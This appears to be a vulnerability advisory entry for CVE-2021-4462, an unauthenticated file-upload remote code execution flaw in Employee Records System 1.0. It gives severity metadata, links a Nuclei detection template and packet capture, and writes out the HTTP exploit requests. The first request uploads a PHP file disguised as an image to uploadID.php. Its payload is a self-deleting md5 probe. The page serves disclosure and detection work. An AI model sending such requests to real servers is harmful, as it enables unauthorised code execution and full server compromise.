| Title | Employee Records System 1.0 - Unauthenticated File Upload RCE |
|---|---|
| Author | josephttd |
| Severity | Critical |
| Impact | Unauthenticated attackers can upload arbitrary PHP files via uploadID.php and achieve remote code execution, leading to complete server compromise. |
| Remediation | Apply security patches or upgrade to a later version of Employee Records System. |
| CVSS Score | 9.8 |
| EPSS Score | 0.22195 |
| CWE ID | CWE-434 |
| Tags | cve cve2021 employee-records fileupload rce intrusive vkev |
Employee Records System version 1.0 contains an unrestricted file upload vulnerability in uploadID.php that allows remote unauthenticated attackers to upload arbitrary PHP files and achieve remote code execution.
POST /dashboard/uploadID.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Connection: close
Content-Length: 238
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="employee_ID"; filename="TMrDOOaq"
Content-Type: image/png
<?php echo md5("CVE-2021-4462");unlink(__FILE__); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--
GET /uploads/employees_ids/TLjk9l HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.6 Mobile/15E148 Safari/604.1
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-4462.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-4462.pcap
N/AN/A